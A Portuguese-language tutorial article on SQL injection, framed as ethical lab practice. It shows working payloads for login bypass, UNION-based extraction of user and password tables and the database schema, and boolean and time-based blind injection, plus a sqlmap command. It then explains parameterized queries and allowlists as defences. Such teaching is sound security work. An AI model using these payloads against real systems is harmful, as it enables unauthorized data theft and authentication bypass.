Explorando SQL Injection na prática (ético)
Aprenda a identificar e explorar SQL Injection em laboratório, entender o impacto real da falha e por que consultas parametrizadas são a defesa definitiva.

SQL Injection (SQLi) é uma das falhas mais antigas e ainda mais perigosas da web. Ela acontece quando a entrada do usuário é concatenada diretamente numa consulta SQL, permitindo que um atacante altere a lógica da query. Neste artigo, vamos explorar a SQLi do ponto de vista do pentester — sempre em ambiente de laboratório autorizado.
O objetivo aqui não é apenas atacar, mas entender o mecanismo a fundo, para defender melhor. Se você ainda não conhece o conceito básico, comece por O que é SQL Injection e como se proteger. Este guia foca na exploração prática dentro da Metodologia de pentest: as fases de um teste de invasão.
Para o desenvolvedor que constrói apps com IA, há um motivo extra de urgência: assistentes de código frequentemente sugerem queries por concatenação de strings, reproduzindo o antipadrão vulnerável. Saber reconhecer e explorar SQLi é o que te permite revisar criticamente o código gerado — seu e da máquina — em vez de confiar cegamente.
Aviso ético e ambiente seguro
Antes de qualquer comando: explorar SQLi em sistemas sem autorização é crime. Monte um laboratório legal para praticar:
Todo exemplo deste artigo pressupõe um alvo de treino que você controla. Em um engajamento profissional, a autorização vem por escrito, com escopo definido — quais alvos, quais técnicas, quais janelas de horário. Sem esse documento, mesmo um teste "inofensivo" pode configurar acesso não autorizado. O pentester ético trata a autorização como o primeiro artefato do trabalho, não como detalhe burocrático.
Por que a SQLi acontece
A causa raiz é simples: a aplicação mistura código e dados. Considere uma consulta de login montada por concatenação:
# VULNERÁVEL — nunca faça isso
query = "SELECT * FROM usuarios WHERE email = '" + email + "' AND senha = '" + senha + "'"Se o atacante envia no campo email:
' OR '1'='1A query final vira:
SELECT * FROM usuarios WHERE email = '' OR '1'='1' AND senha = '...'A condição '1'='1' é sempre verdadeira, quebrando a lógica de autenticação. O estudo seminal de Halfond, Viegas e Orso classifica esse tipo de manipulação de lógica como uma das categorias fundamentais de SQLi (Halfond, Viegas & Orso, 2006).
O ponto conceitual a internalizar: para o banco de dados, não existe "campo de email" — existe apenas uma string de SQL que ele interpreta. Quando você concatena entrada do usuário nessa string, você transfere ao usuário o poder de reescrever o comando. A aspa simples é a chave que abre essa porta, porque é o caractere que encerra um literal de texto e devolve o controle para a sintaxe SQL.
Tipos de SQL Injection
Conhecer os tipos orienta a estratégia de exploração:
A escolha do tipo depende do que o alvo revela. O Manual do Web Application Hacker descreve essa progressão do mais informativo (in-band) ao mais sutil (blind) (Stuttard & Pinto, 2011).
Na prática, a árvore de decisão do pentester é: o erro do banco aparece na resposta? Se sim, error-based é o caminho mais rápido. O conteúdo da consulta é exibido na página? Se sim, UNION-based extrai dados em volume. Nada disso, mas a página muda de comportamento? Então é blind boolean. Nem o comportamento muda visivelmente? Resta o blind time-based ou o out-of-band.
Onde a injeção se esconde
Iniciantes testam só campos de formulário, mas SQLi pode estar em qualquer entrada que chegue a uma query:
Mapear todas as superfícies de entrada faz parte da fase de reconhecimento da metodologia de pentest. Cada parâmetro é um candidato a teste.
Passo 1: detectar a injeção
A primeira pista é provocar uma quebra de sintaxe. Insira uma aspa simples num parâmetro e observe:
https://loja.exemplo.com/produto?id=10'Sinais de injeção:
Um proxy facilita muito esse teste, pois permite reenviar e variar a requisição rapidamente. Veja como no guia Burp Suite: o canivete suíço do pentester web. Comparar id=10 AND 1=1 (verdadeiro) com id=10 AND 1=2 (falso) confirma o controle sobre a lógica.
Um teste complementar elegante é o de concatenação inócua. Em vez de quebrar a query, você a mantém válida com um valor equivalente:
?id=10 → resultado normal
?id=11-1 → se retornar o mesmo de id=10, o banco avaliou a expressão: numérico injetável
?id=10'||'' → em alguns SGBDs, concatena vazio e mantém o resultado: string injetávelSe o alvo avalia a expressão em vez de tratá-la como literal, você confirmou a injeção sem disparar nenhum erro ruidoso — útil quando se quer ser discreto.
Passo 2: explorar UNION-based
Quando o resultado da consulta aparece na página, o ataque UNION é poderoso. Ele exige descobrir o número de colunas:
-- Descobrir a quantidade de colunas (incrementando até dar erro)
?id=10 ORDER BY 1
?id=10 ORDER BY 2
?id=10 ORDER BY 3 -- erro aqui significa 2 colunasCom o número de colunas conhecido, anexe sua própria consulta:
?id=10 UNION SELECT usuario, senha FROM usuariosHá duas restrições do UNION que tropeçam quem está começando: o número de colunas do SELECT injetado precisa bater exatamente com o da query original, e os tipos precisam ser compatíveis. Quando você não sabe quais colunas aceitam texto, use NULL como preenchimento e troque uma por vez por uma string conhecida para descobrir qual aparece na página:
?id=10 UNION SELECT NULL, NULL -- ajusta a contagem
?id=10 UNION SELECT 'aaa', NULL -- a 1ª coluna é refletida?
?id=10 UNION SELECT NULL, 'bbb' -- e a 2ª?A partir daí, você pode extrair tabelas e colunas consultando o catálogo do banco (information_schema), mapeando todo o esquema:
-- Listar tabelas do banco atual
?id=10 UNION SELECT table_name, NULL FROM information_schema.tables
-- Listar colunas de uma tabela de interesse
?id=10 UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='usuarios'Esse é o salto que torna a SQLi devastadora: de um único parâmetro vulnerável, você descobre o esquema inteiro e então extrai qualquer dado.
Passo 3: explorar Blind SQLi
Quando nada volta na resposta, recorra à injeção cega. Na variante booleana, você faz perguntas de sim/não:
-- A primeira letra do nome do banco é 's'?
?id=10 AND substring(database(),1,1)='s'Se a página retorna "verdadeira", a condição é satisfeita. Caractere a caractere, você extrai dados. Para acelerar, em vez de testar letra por letra, usa-se busca binária sobre o código ASCII de cada caractere — assim cada posição exige cerca de 7 requisições em vez de até 26:
-- O código ASCII do 1º caractere é maior que 109 ('m')?
?id=10 AND ascii(substring(database(),1,1)) > 109Na variante temporal, induz atrasos:
-- Se a condição for verdadeira, o banco espera 5 segundos
?id=10 AND IF(1=1, SLEEP(5), 0)Medindo o tempo de resposta, você infere a informação mesmo sem nenhum dado visível. É lento, mas devastadoramente eficaz. Note que a sintaxe de atraso varia por SGBD: SLEEP(5) no MySQL, pg_sleep(5) no PostgreSQL, WAITFOR DELAY '0:0:5' no SQL Server. Identificar o banco-alvo cedo (pelos erros, pelas funções aceitas, pelos cabeçalhos do servidor) define qual dialeto usar.
Automatizando com cuidado
Ferramentas automatizadas (como o sqlmap) detectam e exploram SQLi com rapidez. Em pentest profissional, automação economiza tempo, mas:
Um uso responsável do sqlmap parte de uma requisição já capturada e confirmada manualmente, com nível e risco controlados:
# Requisição salva pelo proxy; -p marca o parâmetro suspeito; nível e risco baixos
sqlmap -r requisicao.txt -p id --level=2 --risk=1 --batchA regra de ouro: a ferramenta confirma e acelera o que você já entendeu; ela não substitui o entendimento. Um pentester que não sabe reproduzir o achado à mão não sabe avaliá-lo nem explicá-lo no relatório.
A SQLi raramente vem sozinha; o mesmo descuido com entrada do usuário leva a falhas como as de XSS na prática: explorando Cross-Site Scripting eticamente.
Impacto real da SQLi
Por que essa falha é tão grave? Uma SQLi bem-sucedida pode:
Esse potencial coloca a SQLi entre as vulnerabilidades de maior severidade, alimentando a análise descrita em Exploração de vulnerabilidades: do CVE ao exploit. A injeção figura há anos no topo do OWASP Top 10, justamente porque combina alta probabilidade (entrada de usuário é onipresente) com alto impacto (acesso direto aos dados).
A defesa: consultas parametrizadas
Toda essa exploração desaparece quando código e dados são separados. A defesa principal são consultas parametrizadas (prepared statements):
# SEGURO — a entrada nunca vira código SQL
query = "SELECT * FROM usuarios WHERE email = %s AND senha = %s"
cursor.execute(query, (email, senha))Com parâmetros, o banco trata a entrada como dado, jamais como SQL. Mesmo que o usuário envie ' OR '1'='1, isso vira um valor literal procurado na coluna email — e simplesmente não encontra ninguém. A query é compilada antes de os dados serem ligados, então a estrutura do comando fica imutável.
Halfond, Viegas e Orso apontam a parametrização e a validação de entrada como contramedidas centrais contra a classe inteira de ataques (Halfond, Viegas & Orso, 2006). Complemente com defesa em profundidade:
O caso especial de identificadores
Há um ponto que prepared statements não resolvem: nomes de tabela e coluna, e cláusulas como ORDER BY <coluna>, não podem ser parametrizados. Se o usuário escolhe a coluna de ordenação, você não pode passá-la como %s. A defesa aqui é uma allowlist: valide a entrada contra um conjunto fixo de valores permitidos antes de inseri-la na query.
# Identificador NÃO é parametrizável → use allowlist
COLUNAS_PERMITIDAS = {"nome", "data", "preco"}
ordenar_por = entrada if entrada in COLUNAS_PERMITIDAS else "nome"
query = f"SELECT * FROM produtos ORDER BY {ordenar_por}"Repare que aqui a interpolação é segura porque o valor só pode ser um dos três literais validados — nunca a entrada crua do usuário.
Perguntas frequentes
Um ORM me torna imune a SQLi? Em grande parte, sim, porque ORMs parametrizam por padrão. Mas o risco volta no momento em que você usa "raw queries", interpola valores em fragmentos de SQL, ou monta cláusulas dinâmicas (ORDER BY, nomes de tabela). A vulnerabilidade está no padrão de concatenação, não na ausência de ORM.
WAF não resolve o problema? Um WAF filtra payloads conhecidos e ajuda, mas é contornável (codificações alternativas, comentários inline, variações de sintaxe). Trate-o como alarme e camada extra, nunca como a correção. A correção mora no código: parametrize.
E se a aplicação usa NoSQL? NoSQL não é imune a injeção — existe NoSQL injection (por exemplo, manipulando operadores como $ne ou $gt em queries MongoDB montadas a partir de entrada do usuário). O princípio é o mesmo: nunca confie em entrada para montar a estrutura da consulta.
Validação de entrada sozinha basta? Não. Validação reduz a superfície, mas é frágil como única defesa — sempre existe um caractere legítimo que pode ser abusado. A combinação correta é parametrização (defesa primária) + validação + privilégio mínimo.
Conclusão
Explorar SQL Injection em laboratório revela por que essa falha continua relevante décadas depois: ela quebra a fronteira entre código e dados com entradas triviais. Aprendemos a detectá-la com uma aspa, a confirmar com testes booleanos, a extrair dados com UNION e o information_schema, a contornar respostas silenciosas com injeção cega booleana e temporal e, acima de tudo, a defender com consultas parametrizadas somadas a validação, privilégio mínimo e allowlists para identificadores. O pentester ético explora para entender o impacto e recomendar a correção — nunca para causar dano. Pratique sempre em ambientes autorizados, e leve esse olhar crítico para todo código que você escreve ou revisa, inclusive o que vem de assistentes de IA.